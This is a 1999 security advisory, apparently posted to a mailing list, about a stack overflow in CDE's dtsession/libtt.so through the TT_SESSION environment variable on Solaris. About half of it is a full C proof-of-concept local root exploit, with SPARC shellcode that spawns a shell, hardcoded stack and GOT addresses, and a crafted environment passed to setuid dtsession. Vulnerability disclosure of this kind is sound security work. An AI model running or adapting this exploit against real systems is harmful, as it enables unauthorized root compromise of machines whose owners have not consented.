Vulnerability in dtsession

[job () ITSX COM (Job de Haas)]

Hello,

I discovered the following security problem in dtsession (actually in
libtt.so), part of CDE:

Description
-----------
The session manager dtsession contains an overflow vulnerability when parsing
the environment variable TT_SESSION.

Impact
------
Due to the fact that dtsession is running setuid root and does not remove the
root privilege (at least as tested on Solaris), the overflow can lead to
local root compromise.

Workaround
----------
I'm not quite sure what all the reasons are for dtsession having the setuid
bit turned on. Removing the setuid bit would at least lead to failure of the
password checking when unlocking a screen (due to the shadow file being only
readable by root). For personal workstation use this might be acceptable.

Affected systems
----------------
dtsession is part of CDE which is used by multiple UNIX vendors (among others:
Sun, HP, Compaq (Digital), IBM, Novell, SCO)

It looks like most systems running CDE are vulnerable, although the only
systems I have checked were:

Solaris 7, 2.6, 2.5.1

Background
----------
The dtsession program performs session management for CDE. It does this in
cooperation with ToolTalk. The ToolTalk library parses an environment string
that informs it of an already running ttsession daemon. When parsing this
environment variable it fails to check the size before calling sscanf().

The environment variable looks like this:

TT_SESSION=01 18176 1289637086 1 0 1000 10.0.0.10 4

When a string larger than 280 bytes is used for the IP address (10.0.0.10), it
will overflow the stack.

Regards,

Job

---
Job de Haas         job () itsx com
ITSX bv      http://www.itsx.com

-------8<-----------------------------------------------------------------

/*
 * ovsession.c
 * Job de Haas
 * (C) ITSX BV 1999
 *
 * Some proof of concept code (== really ugly, barely working) at exploiting
 * an overflow in libtt.so when parsing the TT_SESSION string.
 * Only tested on a Solaris 2.6 sun4c sparc, with and without patch 105802-07
 * based loosly on code by horizon <jmcdonal () unf edu>
 * Somehow the overflow is very sensitive to caching of the stack. To see that
 * it really does work, run it in a debugger and set a break point in tt_open()
 * when that is reached, set a breakpoint in sscanf and continue. When that is
 * reached continue again and it will either crash or execute a shell.
 */

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/systeminfo.h>
#include <unistd.h>
#include <string.h>

#define BUF_LEN 280

char exploit[] =
"\220\33\100\15\202\20\40\27\221\323\100\15\220\33\100\17\
\220\2\40\10\320\43\277\370\224\2\40\11\332\52\277\377\
\332\43\277\374\220\33\140\1\202\20\40\6\221\323\100\15\
\220\33\100\15\202\20\40\51\221\323\100\15\320\3\277\370\
\222\43\240\10\224\43\240\4\202\20\40\73\221\323\100\15\
\232\33\100\15\232\33\100\15\232\33\100\15\232\33\100\15\
\232\33\100\15\232\33\100\15\232\33\100\15\232\33\100\15\
\177\377\377\344\232\33\100\15\57\142\151\156\57\153\163\150QQQ";

#if patched
#define got     0xef6d2be0
#else
#define got     0xef6d2f84
#endif

main()
{
    char *argp[6], *envp[20];
    char buf[3072];
    char *ttsess;
    char *display;
    u_long *longp;
    char data[512];
    char padding[64];
    char platform[256];
    int pad=31;
    int i;

    memset(buf,0,3072);
    memset(buf,'a',BUF_LEN);

    longp = (unsigned long *)(buf+BUF_LEN);

    /* %l0 - %l7 */
    *longp++ = 0xdeadcafe;
    *longp++ = 0xdeadcafe;
    *longp++ = 0xdeadcafe;
    *longp++ = 0xdeadcafe;
    *longp++ = 0xdeadcafe;
    *longp++ = 0xdeadcafe;
    *longp++ = 0xdeadcafe;
    *longp++ = 0xdeadcafe;

    /* %i0 - %i7 */
    *longp++ = 0xdeadcafe;
    *longp++ = 0xefffff94;      /* make sure %i1 can be used */
    *longp++ = 0xdeadcafe;
    *longp++ = got;             /* also used before we get to the exploit */
    *longp++ = 0xdeadcafe;
    *longp++ = 0xdeadcafe;
    *longp++ = 0xefffffb0;      /* frame with some necessary values */
    *longp++ = 0xeffffdd0;      /* return into the exploit code */

    longp=(unsigned long *)data;

    *longp++=0xdeadbeef;
    *longp++=0xdeadbeef;
    *longp++=0xdeadbeef;
    *longp++=0xdeadbeef;
    *longp++=0xdeadbeef;
    *longp++=0xffffffff;
    *longp++=0xdeadbeef;
    *longp++=0;
    *longp++=0xefffffb4;
    *longp++=0x01;
    *longp++=0xef6dc154;
    *longp++=0xeffffd26;
    *longp++=0x00;

    argp[0] = strdup("/usr/dt/bin/dtsession");
    argp[1] = NULL;

    if (!getenv("DISPLAY")) {
        printf("forgot to set DISPLAY\n");
        exit(1);
    }

    sysinfo(SI_PLATFORM,platform,256);
    pad+=20-strlen(platform)-strlen(argp[0]);

    for (i=0;i<pad;padding[i++]='C')
        padding[i]=0;

    /* create an enviroment size independent of the size of $DISPLAY */
    display = malloc( 8 + strlen(getenv("DISPLAY")) + 1);
    strcpy(display,"DISPLAY=");
    strcat(display+8,getenv("DISPLAY"));
    envp[0] = display;
    envp[1] = malloc(60);
    memset(envp[1], 0, 60);
    memset(envp[1], 'a', 60 - strlen(envp[0]));
    strncpy(envp[1],"W=",2);

    /* put the exploit code in the env space (easy to locate) */
    envp[2] = strdup(exploit);

    /* create the overflow string */
    ttsess = strdup("TT_SESSION=01 18176 1289637086 1 0 1000 %s 4");
    envp[3] = malloc( strlen(ttsess) + strlen(buf));
    sprintf(envp[3],ttsess,buf);

    /* make it easier to debug, probably smarter ways to do this */
    envp[4] = strdup("LD_BIND_NOW=1   ");

    /* put some data in the environment to keep the code running after the
       overflow, but before the return pointer is used. includes NULL ptrs */
    envp[5]=(data);
    envp[6]="";
    envp[7]="";
    envp[8]="";
    envp[9]=&(data[32]);
    envp[10]="";
    envp[11]="";
    envp[12]=&(data[39]);
    envp[13]="";
    envp[14]="";
    envp[15]="\010";
    envp[16]=padding;
    envp[17]=NULL;

    execve("/usr/dt/bin/dtsession",argp,envp);

}